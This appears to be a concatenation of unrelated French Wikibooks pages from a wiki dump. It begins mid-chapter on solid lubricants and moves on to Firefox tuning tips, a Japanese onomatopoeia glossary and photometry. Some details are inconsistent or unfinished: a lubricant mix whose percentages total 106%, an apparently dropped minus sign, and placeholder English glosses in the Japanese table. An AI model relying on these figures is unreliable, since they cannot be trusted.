réfractaires, etc. Sous forme de fibres, il est largement utilisé pour la fabrication de matériaux composites. Le graphite est utilisable comme matériau de frottement de - 180 à + 650°C et jusqu'à 750 °C en atmosphère neutre mais il n'est efficace que s'il adsorbe un film de gaz, d'huiles ou surtout d'eau ; ses qualités frottantes sont donc diminuées à chaud, sous vide ou dans les milieux anhydres (il tend alors à devenir abrasif). L'adsorption des films de graphite nécessite une action énergique et prolongée, moyennant quoi ils résistent à des pressions considérables : 25 000 bars en cas d'écrasement sous déplacements lents et 7 000 sous charges variables ou mouvements rapides. Ces films favorisent l'adsorption d'autres lubrifiants mais ils n'assurent aucune protection contre la corrosion et peuvent être éliminés par des détergents suffisamment puissants. Le pouvoir lubrifiant du graphite est augmenté par l'oxydation des surfaces lubrifiées ou par adjonction d'oxydes de plomb, de cadmium ou d'antimoine, ou encore par d'autres adjuvants comme des poudres de métaux mous. Outre ses nombreuses applications dans le domaine des lubrifiants industriels, le graphite rend des services dans la vie courante, on l'utilise par exemple sous forme de poudre pour la lubrification sèche des serrures ou pour empêcher le collage des joints de caoutchouc des portières et des coffres des automobiles. === Bisulfure de molybdène === Ce produit de densité 4, 8, de formule MoS<sub>2</sub>, résiste à la plupart des solvants et produits chimiques mais pas au chlore ni aux bases fortes, ni aux oxydants, ni à l'air au-dessus de 450 °C. On l'emploie de -180 °C à + 300 °C dans l'air, jusqu'à 650 °C en atmosphère neutre et 1&nbsp;100&nbsp;°C sous vide (lubrification des parties tournantes des tubes à rayons X). En cas d'oxydation il se forme de l'acide sulfurique H<sub>2</sub>SO<sub>4</sub> qui corrode les pièces, tandis que leur coefficient de frottement augmente. Le bisulfure de molybdène est meilleur que le graphite, mais plus cher : il présente un facteur de frottement moins élevé sur l'acier, adhère davantage aux surfaces et surtout, il peut frotter dans le vide et les milieux anhydres. Il est bien moins sensible aux effets d'adsorption, mais son facteur de frottement augmente en présence d'humidité, contrairement au graphite. Il croît avec la vitesse de glissement et décroît si la pression augmente. Ce produit à une structure en lamelles qui comportent une couche d'atomes de molybdène entre deux couches d'atomes de soufre (on en compte 1640 par micromètre d'épaisseur). Ces lamelles ont peu d'affinité entre elles, d'où le clivage facile et la faible résistance au cisaillement des films, mais elles présentent une affinité pour les métaux bien supérieure à celle du graphite. Au contraire de ce dernier, le bisulfure de molybdène ne provoque aucune surépaisseur : ses lamelles n'ont pas tendance à s'empiler, elles sont par ailleurs assez dures pour pénétrer la structure du métal. La grande affinité du bisulfure de molybdène pour les surfaces métalliques rend son incorporation possible par frottement à sec ou par projection dans un liquide volatil, le métal devant être soigneusement nettoyé. L'adsorption nécessite toutefois une grande énergie, elle n'est effective que par une pression d'au moins 15 bars, assurée par friction à la main ou dans certains cas dès la mise en service. On suppose que cette pression est nécessaire pour chasser les gaz adsorbés, d'ailleurs la durée de vie des films est triplée dans l'argon, gaz qui est bien moins adsorbé que l'oxygène de l'air. La désorption du film est particulièrement difficile : il résiste jusqu'à 280 °C dans l'ultravide et on ne peut guère l'enlever que par usinage. Il ne constitue cependant pas une protection contre la corrosion. L'application se pratique bien sur des surfaces rectifiées ou sablées, la rugosité optimale avoisinant 50 micromètres. La phosphatation des aciers donne une structure poreuse qui facilite l'accrochage et augmente la durée du film. On peut également traiter l'acier après sulfinuzation, le titane, l'aluminium anodisé, les aciers inoxydables, les alliages de cuivre ou de magnésium, l'adsorption se fait aussi sur diverses matières plastiques, nylon et polyamides, P.T.F.E., ... Le nettoyage préliminaire des surfaces est très important pour préserver la pureté du produit, toutefois certains manteaux se révèlent intéressants car ils diminuent le coefficient de frottement. La présence de graphite augmente ou diminue la durée de vie des films, selon les matériaux traités. Les suspensions colloïdales de bisulfure de molybdène ont une efficacité très différente selon les supports. Il ne suffit pas d'en mettre dans une huile ou une graisse pour améliorer les performances. Le coefficient de frottement peut être beaucoup abaissé par greffage de molécules de polymères : polystyrène, polyméthacrylate de méthyle ... mais avec une diminution de la dureté apparente du film. L'avantage du polymère greffé est qu'il permet la dispersion dans l'huile des produits oléophobes. Le bisulfure de molybdène est un produit de grande valeur pour lutter contre la corrosion de contact, il facilite le galetage et surtout se révèle très intéressant lors du rodage. Pendant ce dernier, l'usure d'abord rapide se stabilise et il faut attendre la fin du processus pour connaître la valeur réelle du mécanisme, sa précision, son rendement. Des variations se produisent dans les séries malgré tous les contrôles. Avec le bisulfure de molybdène qui constitue des placages inarrachables lors du rodage, on peut utiliser le matériel dans les conditions normales sans échauffement ni incident. Il est possible de travailler de 184 °C à 425 °C en associant 77 % de MoS<sub>2</sub>, 7 % de graphite, 22 % de silicate de sodium. Le bisulfure de molybdène est utilisé dans les graisses lubrifiantes destinées au frottement des métaux sur les matières plastiques et au frottements des matières plastiques sur elles-mêmes. === Fluorure de graphite === C'est un produit obtenu par fluoration du graphite, de formule (CFx)n. Il se présente sous forme d'un solide pulvérulent gris foncé à structure lamellaire de graphite et de fluor qui a de bonnes qualités lubrifiantes jusqu'à 400 °C. Au-delà, se forment des oxydes épais et fragiles ; il y a décomposition à 450 °C avec formation de gaz fluorés inertes et d'un résidu de carbone. Le mécanisme du frottement est inexpliqué et le fluorure de graphite se révèle meilleur que le graphite ou le bisulfure de molybdène à toutes les températures, malgré un coefficient de frottement égal ou supérieur. On sait aussi que plus de fluor diminue l'usure. Ce produit possède un fort caractère hydrofuge et oléofuge, d'où des problèmes de dispersion dans l'eau et dans les huiles. Il améliore la température maximale de fonctionnement des graisses aux savons de lithium avec huiles de base diester, 340 °C au lieu de 215. Le film s'applique de préférence au frotté, il a une durée de vie au moins six fois supérieure à celle du bisulfure de molybdène. Le comportement est excellent dans les matrices de forgeage à froid, plus particulièrement dans des outillages de frappe de visserie inoxydable. Il améliore la tenue des systèmes cames-poussoirs ou des engrenages. === Autres lubrifiants solides et produits spéciaux === Beaucoup d'entre eux offrent des ressources intéressantes, en particulier pour le frottement à haute température où l'on fait appel à des oxydes, sulfures, fluorures ou nitrures, ainsi que dans le vide. * alliages spéciaux et matériaux réfractaires : au-dessus de 650 °C, le choix des matériaux est aussi important que celui des lubrifiants : céramiques, cermets, alliages spéciaux de béryllium jusqu'à 1600 °C, alliages de colombium, tantale, molybdène, tungstène. * métaux mous pour le frottement sec : l'or, l'argent, le plomb, donnent des coefficients de frottement de l'ordre de 0,3 sur d'autres métaux. Les typographes utilisaient la poudre de plomb pour lubrifier à sec les matrices de cuivre servant à la coulée des caractères sur les linotypes. * métaux liquides : on a essayé le mercure, le potassium, le rubidium, le césium, le sodium. * disulfure de tungstène WS<sub>2</sub> : il a des utilisations semblables au bisulfure de molybdène. * biséléniures de tungstène et de niobium : ils ont un bon comportement dans le vide. * oxyde de plomb PbO : il sert au-delà de 600 °C, associé au carbone, avec la silice comme liant pour augmenter l'adhérence du film. Il est intéressant, en particulier sur les aciers inoxydables, entre 670 °C et 815 °C : en dessous, il se transforme en minium Pb<sub>3</sub>O<sub>4</sub> non lubrifiant, au-dessus, il est volatil. * sulfure de plomb PbS : il convient jusque vers 500 °C, avec de l'oxyde borique B<sub>2</sub>O<sub>3</sub> comme liant. * fluorures de calcium CaF<sub>2</sub>, de baryum BaF, de lithium LiF, à chaud avec des liants à bases d'oxydes métalliques. Le premier a des applications en France dans le domaine nucléaire. * nitrure de bore BN : il présente un coefficient de frottement élevé de 0,35 à 0,4 mais on peut l'utiliser jusqu'à 980°C dans l'air et 1650 °C dans le vide. On fabrique des roulements à billes en nitrure de bore fritté. * phtalocyanine : utilisable de 30 °C à 500 °C, et même jusqu'à 650, voire 800 °C, si la quantité évacuée par sublimation est continuellement remplacée par entraînement dans un courant d'azote. On peut l'associer au graphite, à l'oxyde de plomb. * oxyde de bore B<sub>2</sub>O<sub>3</sub> : à l'état solide, il sépare les matériaux à lubrifier, à chaud il s'amollit en agissant comme un lubrifiant classique avec de bonnes propriétés en graissage limite jusque vers 1 100 °C. Son utilisation est possible en combinaison avec du graphite ou du sulfure de plomb. * le verre est utilisé comme lubrifiant vers 1 000 °C pour certaines opérations de travail des métaux. Les Sermalubes constituent la vaste gamme de produits de la société Sermetel pour le frottement à température élevée. Dans des liants inorganiques céramisants entre 300 et 400 °C on trouve des produits divers : graphite, oxyde de plomb, bisulfure de molybdène, PTFE, ... === Nanoparticules === [[Image:Fullerene c540.png|thumb|300px|right|Fullerène C-540]] [[Image:Fullerene-C60.png|thumb|right|Fullerène C-60 (le plus fréquent)]] Divers produits font actuellement l'objet d'études en vue de leur incorporation dans des lubrifiants tels que les huiles, les graisses et les vernis de glissement. Les nanoparticules de bisulfure de molybdène ou d'autres matériaux produites par la société israélienne Nanomaterials procurent des capacités lubrifiantes aussi bonnes que les meilleurs revêtements connus. Elles remplacent avantageusement des additifs beaucoup plus polluants. Ces particules microscopiques ont des diamètres de l'ordre de 100 nm, environ mille fois plus petits que le diamètre d'un cheveu. Elles sont extrêmement résistantes à la pression et aux chocs et leurs applications sont très diverses ; elles peuvent servir pour fabriquer des casques de protection, des gilets pare-balles ou des additifs pour les lubrifiants. La structure de base est celle des [[w:fullerène|fullerène]]s, dans lesquels les atomes ne sont pas associés selon des structures planes, mais selon des structures sphériques comparables à celles des ballons de footbal. Ces sphères sont d'autant plus grosses qu'elles comportent des particules plus nombreuses et on peut les enfermer les unes dans les autres pour obtenir des structures en couches concentriques comparables à celles des oignons ou encore des poupées russes, et très résistantes aux sollicitations mécaniques (environ 4 à 5 fois plus que l'acier et 2 fois plus que les meilleurs matériaux utilisés en armurerie. Lorsqu'elles sont introduites entre deux surfaces, ces particules se comportent comme autant de microbilles capables de rouler les unes sur les autres et de faciliter les mouvements de glissement tout en réduisant l'usure. Ce sont donc d'excellents « troisièmes corps » Les matériaux utilisés pour la réalisation de ces structures ne semblent pas toxiques mais, comme pour les fullerènes et les nanotubes de carbone, il faut attendre les résultats des recherches en cours et, dans l'immédiat, rester prudent. == Vernis de glissement == Ce sont des dispersions fines de lubrifiants solides ou d'huile dans un liant approprié, avec un solvant qui s'évapore et laisse un feuil très mince, quelques micromètres seulement, et très adhérent sur des surfaces spécialement usinées ou sur matériaux dits de frottement. Ils forment une réserve plus importante que les lubrifiants solides adsorbés et assurent une bonne protection contre la corrosion. Le coefficient de frottement, de l'ordre de 0,04 si la pression est élevée, permet de remplacer la lubrification dans des ambiances particulières : vide poussé, radiations nucléaires, très basses ou très hautes températures, ambiances poussiéreuses, vitesses faibles.. La mise en œuvre sur l'acier comporte les opérations de dégraissage, sablage ou grenaillage, phosphatation. Sur l'acier inoxydable la phosphatation est remplacée par la gravure, comme sur l'aluminium que l'on peut aussi anodiser. Les caoutchoucs ou plastiques sont nettoyés aux solvants et les seconds subissent un sablage léger. L'application peut se faire au pinceau ou à la brosse, au rouleau, au trempé, par pulvérisation. Les rugosités acceptables vont de 0,02 à 50 micromètres, l'optimum se situant entre 0,5 et 2. Les surfaces plus finies doivent être lubrifiées autrement. Certains vernis de glissement à matrices organiques permettent d'obtenir une isolation électrique, ils résistent à des tensions de l'ordre de 500 V pour des épaisseurs de 15 à 30 µm. === Liants === On utilise surtout des liants organiques pour les températures basses et modérées, et à chaud des liants inorganiques : * les liants organiques diffèrent par leur température de durcissement et leur tenue à la chaleur. Les résines cellusosiques, alkydes, uréthannes ou acryliques qui durcissent ou polymérisent à l'air à 20 °C ; les alkydes et uréthannes ne tiennent pas au-delà de 70 °C. Parmi les résines polymérisables à chaud, les phénoliques ne dépassent pas 160 °C, les époxydes 200 °C, les polyimides 350 °C, les silicones 300-400 °C. Ces dernières présentent de bonnes qualités contre la corrosion de contact des tribocontacts en titane. * les liants inorganiques sont essentiellement des sels comme le silicate de sodium, des phosphates ou des titanates. Ces derniers permettent un séchage et un durcissement rapides dans l'air et conviennent jusqu'à 400 à 500 °C. Les silicates donnent des feuils résistants aux radiations nucléaires. === Lubrifiants === La quasi totalité des lubrifiants solides utilisés sont le bisulfure de molybdène, le PTFE, le graphite, le fluorure de graphite, mais on trouve aussi du talc et du mica. L'addition de trioxyde d'antimoine Sb<sub>2</sub>O<sub>3</sub> permet de réduire considérablement les risques de corrosion tout en améliorant le comportement du feuil à base de MoS<sub>2</sub>. Les émaux de frottement, utilisés jusqu'à 1 000 °C, renferment des fluorures de calcium ou de baryum, ou encore de l'oxyde de plomb, ... Depuis peu on utilise aussi des vernis à inclusion d'huiles. Ces dernières ne sont pas dissoutes mais dispersées dans des liants du type résines époxy à raison de 3 à 7 % (10 % est un maximum). Le frottement est bien meilleur qu'avec des lubrifiants solides et cette technique constitue un progrès considérable. === Applications === Elles sont très diverses : axes de rotors d'hélicoptères, boulonnerie aéronautique en titane, jupes de pistons de moteurs, ceintures à enrouleurs, assemblages Silent Block, arbre primaire de boîte de vitesses, pivots, ressorts, charnières, noyaux plongeurs d'électroaimants, gâchettes de fusils, arbres cannelés, cames, rotules, engrenages, filage et calibrage à froid de profilés d'acier, formage du titane. On les utilise aussi en présence de radiations ionisantes dans l'industrie nucléaire : vis de commande, boulons, ... dans le vide spatial, en présence de vibrations : plaques de dilatation, plaquettes de freins, ... dans le cas de températures extrêmes : chaînes de convoyeurs, ... en ambiance poussiéreuse ... * Revêtement '''Graphoil''' (Snecma) : vernis thermostable à base de bisulfure de molybdène, qui s'applique sur des pièces fonctionnant dans les carburants et les huiles à moyenne température. Ses performances sont supérieures à celles des lubrifiants traditionnels à base de graphite (tenue sans écaillage dans le kérosène TRO à 150°C pendant 24 heures). * Revêtement '''Ni-Ag/MOS<sub>2</sub>''' (Brevet Snecma industrialisé par Snecma Services) : ce procédé a été développé pour optimiser la lubrification des pièces fonctionnant à très basse température, notamment dans l'hydrogène liquide à -253° C . == Frottement ultrafaible, suprafriction == Les bases théoriques des phénomènes décrits ci-dessous se trouvent dans le chapitre '''[[Tribologie - Genèse des frottements]]'''. Les études des structures lamellaires du graphite et du bisulfure de molybdène confirment que le facteur de frottement varie de façon périodique avec leur inclinaison relative. Dans le cas de réseaux cubiques, le plus faible frottement a lieu lorsque le décalage angulaire est de 45 °. Pour le graphite, dont la structure est hexagonale, le facteur de frottement passe par un maximum tous les 60 °, ce qui est conforme à l'intuition. Jean-Michel Martin et son équipe de l'École Centrale de Lyon ont montré que lors du glissement, les feuillets de bisulfure de molybdène subissaient une double rotation par rapport à la direction du mouvement et par rapport aux autres feuillets, pour arriver à une position d'incommensurabilité. Ils ont découvert également que le dithiocarbamate de molybdène largement utilisé comme additif des huiles au Japon et aux États-Unis avait la propriété de former à la surface des pièces, sous l'effet du frottement, de petits feuillets de bisulfure de molybdène formés d'une seule couche de molécules. Outre leurs diverses actions protectrices, ces feuillets permettent d'abaisser le frottement jusqu'à des valeurs de l'ordre de 0,05. D'importantes réductions du facteur de frottement sont obtenues sur des couches minces de carbone adamantin qui ont également l'avantage de diminuer considérablement l'usure. L'industrie japonaise utilise d'ores et déjà cette technique pour traiter les contacts cames/poussoirs de moteurs automobiles de série. Wikilivres:Demande de livre 5089 41466 2006-05-03T09:59:03Z Teckel 1461 /* Livres souhaités */ Toute nouvelle '''demande de livre''' est recensée dans cette liste. Ajoutez votre souhait sous le thème approprié. Il y aura toujours un volontaire spécialiste pour vous le rédiger. ''Notez cependant qu'on n'est jamais aussi bien servi que par soi-même et que vous avez les même possibilités que tout utilisateur de wikilivre, de créer vous même l'article manquant.'' Vous pouvez également vous reporter à la liste des [[Special:Wantedpages|pages les plus demandées]], qui recense automatiquement les articles non existant les plus liés dans les articles de Wikilivre. Vous pouvez écrire votre pseudonyme (si vous en possédez un) à coté de l'article que vous proposez sur cette page pour faciliter la discussion avec les autres wikipédiens. N'hésitez pas aussi à donner des liens vers des sites externes où l'on peut trouver des informations à ce sujet. =Livres souhaités= *[[Repeindre un véhicule]] notamment une voiture [[Utilisateur:Greudin|Greudin]] 24 aoû 2005 à 10:03 (UTC) *[[Comment rédiger un excellent Wikilivre d'apprentissage lunguistique]] Il s'agirai en fait de traduire [http://en.wikibooks.org/wiki/How_To_Build_An_Excellent_Wikibook_Teaching_Any_Language How To Build An Excellent Wikibook Teaching Any Language] [http://fr.wikipedia.org/wiki/Utilisateur:Paulokoko Paulokoko (wikipedia)] *[[Comment monter une association loi 1901]]. Je sais que ce n'est pas si compliqué que cela (d'où l'intérêt du livre). Je le débuterai peut-être après février, si j'ai une période de disponibilité. À défaut, je pourrai relire et/ou compléter avec le peu d'éléments dont je dispose. :o) ([[wikipedia:fr:Wikipédia:Oracle/semaine 2 2006#association loi 1901|src1]])--[[Utilisateur:Boly38|Boly]] [[Discussion_Utilisateur:Boly38|♪]] 4 janvier 2006 à 16:59 (UTC) *Le [[ninjustsu]] ou comment devenir un ninja! *[[Système de noms de domaine]] [[Utilisateur:Teckel|Teckel]] 2 mai 2006 à 19:16 (UTC) ==Voir aussi== * [[Wikiversité]] (et [[Wikiversité:Créer une nouvelle faculté|les demandes de facultés]] et [[Wikiversité:demande de cours|demandes de cours]]) : ''une université virtuelle communautaire, collaborative, libre et gratuite (cours en ligne)''. * [[Wikijunior]] (et [[Wikijunior:Demande de livre|les demandes de livres]]) : ''projet de réalisation d'un ensemble de livres à destination des enfants âgés de 8 à 11 ans''. Optimisation du navigateur Firefox 5091 28959 2006-01-15T04:32:12Z 81.67.200.216 /* Raccourcis clavier */ L''''optimisation du navigateur [[w:Mozilla Firefox|Firefox]]''' est accessible depuis le menu ''Outils>Options'' mais l'utilisateur avancé peut saisir simplement <code>about:config</code> dans la barre d'adresse pour la configuration d'éléments pointus (attention cependant à des manipulations hasardeuses à cet endroit, qui peuvent altérer le fonctionnement du logiciel de manière importante). =Navigation= === Raccourcis clavier === *''Ctrl + D'' pour marquer la page (ajouter aux favoris). *''Ctrl + H'' pour accéder à l'Historique. *''Ctrl + K'' pour accéder à la barre de recherche. *''Ctrl + P'' pour imprimer la page. *''Ctrl + S'' pour sauvegarder la page. *''Ctrl + T'' pour ouvrir un nouvel onglet. *''F11'' pour passer en mode "plein écran". === Choisir la fenêtre d'ouverture d'un lien === En cliquant sur un lien : * Ctrl : Ouvre dans un nouvel onglet, mais reste sur la page courante ; * Shift : Ouvre dans une nouvelle instance du navigateur ; * Shift + Ctrl (ou clic central ou clic droit+gauche) : Ouvre dans un nouvel onglet et se rend sur la nouvelle page ; === Raccourcis de la barre d'adresse === [[Image:Proprietes firefox.png|thumbnail|250px|left|Propriétés Firefox]]Afin de faciliter la navigation au sein de [[w:Mozilla Firefox|Firefox]] (Mozilla) et tous les navigateurs de la famille, il suffit d'éditer les propriétés du lien (clic droit → ''Propriétés''), d'ajouter la variable <tt>%s</tt> après l'[[w:Repère uniforme de ressource|URL]] et d'y adjoindre un mot clé (''w'' pour ''Wikipédia'', par exemple). Ensuite, taper simplement, dans la barre de navigation, '''''w ''article''' permet de voir apparaître l'article de Wikipédia convoité. Par exemple, une fois la modification effectuée, il suffira de taper : '''w Wikipédia:Trucs et astuces''' pour se rendre directement à cette page. Voir aussi [[w:Wikipédia:Navigateur/Firefox#Mots clefs]] pour une quarantaine de mots clefs réuni dans un fichier à installer (très facilement). ==== Recherche accélérée dans Google ==== Ce truc reprend le concept du précédent et il est inclu dans la liste des mots-clefs disponibles ci-dessus. Il est possible de faire des raccourcis sur les requêtes dans les moteurs de recherche, en l'occurence Google et ceci uniquement sur le domaine fr.wikipedia.org. Pour ce faire, il faut créer un bookmark avec l'adresse suivante : <nowiki>http://www.google.fr/custom?sa=Google+Search&domains=fr.wikipedia.org;wikipedia.org&sitesearch=fr.wikipedia.org&q=xxxxxxx</nowiki> Ensuite, éditer les propriétés du bookmark, remplacer "xxxxxxx" par "%s", et attribuer un mot-clé (comme 'wg' par exemple pour Wikipédia google). Ainsi dans la barre de navigation, un '''''wg ''avion''' permet de trouver tous les articles contenant le mot-clé avion sur Wikipédia. ====Autocomplétion des adresses==== Autre astuce de navigation : sous Firefox et dérivés, en tapant uniquement le nom d'un domaine (par exemple wikipedia) dans la barre d'adresses, il suffit d'appuyer sur la touche : *Control + Entrée pour autocompléter en http://www.wikipedia.com *Shift + Entrée pour autocompléter en http://www.wikipedia.net *Shift + Control + Entrée pour autocompléter en http://www.wikipedia.org *Entrée seule : recherche du site le plus approchant qui correspond à la réponse ''J'ai de la chance'' fourni par le moteur de Google. Certaines de ces autocomplétions fonctionnent également avec Internet Explorer. ===Ajuster la taille des caractères=== Si les polices sont trop petites, dans quelques navigateurs CTRL-+ ou CTRL-molette agrandira la taille des caractères dans le navigateur, CTRL-- ou CTRL-molette dans l'autre sens la réduira. ===Naviguer dans les catégories=== Pour consulter la liste des catégories on n'est pas obligé de commencer par la première il suffit de faire ça: #copiez ce lien <nowiki>http://fr.wikipedia.org/w/index.php?title=Special:Categories&limit=500&offset=</nowiki> #ajoutez après offset= la valeur que vous souhaitez (sans espace) #collez ça dans la bare d'URL de votre navigateur #l'affichage commencera par le numéro que vous avez indiqué. #:exemple : http://fr.wikipedia.org/w/index.php?title=Special:Categories&limit=500&offset=6000 #::actuellement (4 avr 2005 à 13:12 (CEST)) il y a 6371 catégories ! =Performances= ==Activation du pipelining== Plusieurs sites (ou extensions, comme « Tweak Network Setting » [http://www.bitstorm.org/extensions/]) proposent ainsi d'« optimiser » votre navigateur en activant certaines fonctionnalités désactivées par défaut. Par exemple, activer le pipelining [[w:HTTP|HTTP]] peut améliorer les performances pour les utilisateurs ayant des connexion bas-débit sur les pages contenant beaucoup d'images, mais ne fonctionnera pas avec certains [[w:serveur HTTP|serveurs]] ou [[w:proxy|proxy]]s : * Recherchez <code>network.http.pipelining</code> et passez, par double-clic, à la valeur [[w:Algèbre de Boole (logique)|booléenne]] <code>true</code> * Recherchez <code>network.http.proxy.pipelining</code> et faites de même * Recherchez <code>network.http.pipelining.maxrequests</code> et passez, par double-clic, à la valeur numérique <code>8</code> ==Suppression du temps de pause avant rendu== Quant aux utilisateurs de haut-débit disposant de machines puissantes, ils peuvent réduire le temps pendant lequel Firefox attend les données avant de commencer à afficher une page. Dans le cas d'une connexion bas-débit ou d'une machine peu puissante cela augmentera au contraire le temps de chargement total puisque plus de rafraichissements seront nécessaires : * Faites un clic-droit, puis faites <code>Nouveau</code> > <code>Valeur numérique</code>, nommez-la <code>nglayout.initialpaint.delay</code> et entrez comme valeur <code>0</code> ==Activation du système précédent/suivant instantané (version 1.1 et supérieure)== Cette fonction expérimentale garde les pages dans la [[w:mémoire vive|mémoire vive]] pour un rendu quasi-instantané lors de la pression des boutons Précédent/Suivant. * Faites un clic-droit, puis faites <code>Nouveau</code> > <code>Valeur numérique</code>, nommez-la <code>browser.sessionhistory.max_viewers</code> et entrez comme valeur <code>1</code> ou plus Le nombre que vous entrerez équivaudra au nombre de pages qui resterons dans la mémoire. Veillez à ne pas entrer un nombre trop grand, car dans ce cas cette manipulation ralentira l'ordinateur par surcharge de la mémoire. == FireTune == Récemment, un projet d'optimisation automatisée du logiciel Mozilla Firefox par [http://www.totalidea.com/freestuff4.htm Totalidea] a donné naissance au logiciel [[w:FireTune|FireTune]], [[w:freeware|freeware]] simple d'utilisation et disponible en de nombreuses langues. ==Voir aussi== * [[w:Mozilla Firefox|Mozilla Firefox]] * [[w:Gecko (moteur de rendu)|Gecko]] * [http://www.totalidea.com/freestuff4.htm FireTune] Photographie - 07 - Stigmatisme 5096 19962 2005-08-24T22:09:02Z Jean-Jacques MILAN 114 Photographie - 07 - Stigmatisme déplacé vers Photographie - 07 - Stigmatisme, objets et images: regroupement #redirect [[Photographie - 07 - Stigmatisme, objets et images]] Japonais:Vocabulaire Onomatopées 5099 46332 2006-06-28T12:59:17Z 194.51.20.124 /* Gitaigo */ Retour à la table des matières : [[Japonais:Table des matières|^ Japonais ^]] == Onomatopées == Une '''onomatopée''' (オノマトペ) est un son pour imiter une un bruit (animal, voiture...) ou pour exprimer une émotion (étonnement, peur), un état, une action. Les onomatopées japonaises sont classées en deux groupes principaux, ''gisei-go'' (擬声語) et ''gitai-go'' (擬態語). == Giseigo == 擬声語 ''gisei-go'' est un son pour imiter un bruit. Beaucoups de ''gisei-go'' sont écrit en katakana. Par exemple: {| ! style="background: #CCCCFF; width: 100px;" | Japonais ! style="background: #CCCCFF; width: 100px;" | R&#333;maji ! style="background: #CCCCFF;" | Français |- | ワンワン | wan-wan | ouaf-ouaf |- | ニャニャ, ニャンニャン | nya-nya, nyan-nyan | miaou-miaou |- | コケコッコ | koke-kokko | le bruit d'un poulet ou d'un coq |- | パチパチ | pachi-pachi | applaudissement |- | ザーザー | zaa-zaa | pluie |- | ポツポツ | potsu-potsu | chute d'eau |} == Gitaigo == 擬態語 ''gitai-go'' sont les sons qui pour exprimer une action, un état, une émotion. Par exemple: {| ! style="background: #CCCCFF; width: 100px;" | Japonais ! style="background: #CCCCFF; width: 100px;" | R&#333;maji ! style="background: #CCCCFF;" | Français |- | いそいそ | iso-iso | tourné en rond |- | いちゃいちゃ | icha-icha | ?the sound of two people making out? |- | うかうか | uka-uka | être négligent ou distrait |- | うつらうつら | utsura-utsura | ?to drift between sleep and wakefulness? |- | うとうと | uto-uto | somnoler |- | おどおど | odo-odo | se sentir incommodé |- | ムシャムシャ | musha-musha | quelqu'un qui mange |- | ウハウハ | uha-uha | sauter |- | ワイワイ | wai-wai | un enfant qui joue |- | どきどき | doki-doki | un rythme cardiaque rapide |} {{Glossaires_de_Japonais}} [[catégorie:Glossaires de Japonais]] [[en:Japanese:Onomatopoeia]] Utilisateurjonathaneo/Philo 5100 20390 2005-09-01T11:26:56Z Jonathaneo 457 *État/prof Si l'on prend comme exemple une classe, une classe sans professeurs ou sans cadre dirigeant symbolisé par une personen ou un groupe de personne est-elle possible?'' -->Une classe est un ensemble d'élèves soit de personnes toutes différentes qui souhaitent (en tout cas on l'espère) apprendre ainsi qu'un profeseur qui détient le savoir en question. La question n'est pas une classe sans prof est-elle possible? Au CDI, l'élève est autonome, dans les cours par correspondance l'élève peut se passer de professeur, mais dans le cadre du groupe classe cette question reste située. Une société sans État est-elle possible? Les individus en groupe laissé à eux-mêmes ne vont-ils pas s'entretuer? [[w:Hobbes]] "Les désirs et les autres passions ne sont pas en eux-mêmes de péchés, jusqu'a ce qu'ils connaisseent '''une loi''' qui les interdisent" Photographie - Chapitre 05 - Photométrie 5101 44350 2006-06-11T22:14:55Z Jean-Jacques MILAN 114 {{Photographie}} {{Photo_05}} Photographie - 05 - Les bases de la photométrie 5102 44362 2006-06-11T22:20:07Z Jean-Jacques MILAN 114 {{Photographie}} {{Photo_05}} Tous les rayonnements électromagnétiques transportent de l'énergie et certains d'entre eux peuvent aussi agir sur les sens humains. Il faut deux systèmes parallèles pour évaluer ce qui relève d'une part, de la physique pure et d'autre part, des sensations. Il y a donc une photométrie objective et une photométrie subjective. La mesure de la lumière, ou '''photométrie''' proprement dite, s'occupe avant tout des aspects visuels, en les reliant aux aspects énergétiques étudiés par la '''radiométrie'''. La photographie finit toujours par proposer des images aux regards, via la lumière visible. Cependant, elle ne se cantonne pas à cet étroit domaine. Elle permet aussi, par le truchement de surfaces sensibles et des traitements appropriés, de rendre « perceptibles » des rayonnements auxquels l'œil humain est naturellement insensible : infrarouge, ultraviolet, rayons X ou gamma et même des radiations qui ne sont pas électromagnétiques mais corpusculaires, comme les rayons alpha et bêta. Les radiations qui nous intéressent au premier chef sont celles qui constituent la lumière visible, dont il est bon de rappeler ici les limites normalisées, 0,4 µm ou 400 nm pour le violet extrême et 0,78 µm ou 780 nm pour le rouge extrême. Toutes les radiations du spectre visible n'ont pas la même efficacité pour provoquer des sensations. Pour l'éclairage, les seules vraiment intéressantes en pratique sont celles comprises entre 0,45 et 0,65 µm. De part et d'autre de cette bande, les couleurs sont qualifiées de « sombres », « peu visibles » ou « peu efficaces ». Il n'empêche que presque tout le monde peut percevoir nettement la raie du mercure à 0,336 µm, pourvu que son intensité soit suffisante. La mesure des grandeurs lumineuses nécessite d'une part que celles-ci soient clairement définies et d'autre part, que l'on ait fait le choix des unités adéquates. Pour définir une unité, il faut faire appel à l'une des trois méthodes suivantes : * Fabriquer un étalon : c'est ainsi que l'on a opéré aux débuts de la photométrie. Les premiers systèmes d'unités reposaient sur le rayonnement de bougies spéciales, puis de lampes normalisées brûlant dans des conditions bien précises des combustibles tels que l'acétate d'amyle (lampe Hefner), l'huile de colza ( lampe Carcel), le pentane (lampe Vernon-Harcourt) ou bien encore l'acétylène (lampes Violle, Féry, Foucher, ...). Plus tard, les lampes à incandescence ont pris le relais, elles servent encore souvent d'étalons secondaires en raison de leur commodité. * Inventer une expérience parfaitement reproductible : après avoir abandonné les étalons normalisés, on a fondé pendant de longues années les unités photométriques sur le rayonnement du corps noir. L'appareillage approprié était, pour le moins, du genre encombrant et coûteux ! * Rattacher cette unité aux unités fondamentales de la physique, par application d'une relation mathématique traduisant une loi physique. C'est certainement la meilleure méthode, quand elle est possible. Longtemps, on y a renoncé en raison de la faible précision des mesures photométriques mais les progrès réalisés ces dernières années permettent maintenant de l'utiliser. Il n'est pas absurde de passer rapidement en revue les divers procédés, par curiosité intellectuelle bien sûr, mais aussi parce que l'enseignement des techniques doit faire dérouler une certaine longueur du « film » de l'histoire humaine et non pas se limiter à un « arrêt sur l'image ». C'est volontairement que l'on écrit ici ''technique'' et non ''technologie'', ce terme à la mode, mis aujourd'hui à toutes les sauces, signifie étymologiquement ''discours sur les techniques''. Suite : '''[[Photographie - 05 - Notion d'angle solide|Notion d'angle solide]]''' Photographie - 05 - Notion d'angle solide 5103 44361 2006-06-11T22:19:47Z Jean-Jacques MILAN 114 {{Photographie}} {{Photo_05}} == Définitions == [[Image:Stéradian 01.png|250px|right]] Le rayonnement d'une source lumineuse ponctuelle se propage dans un cône ayant pour sommet la source elle-même. L''''angle solide''' <math>\Omega \,</math> qui caractérise l'ouverture plus ou moins grande de ce cône peut être évalué à partir de l'aire s de la surface qu'il découpe sur une sphère de rayon R, 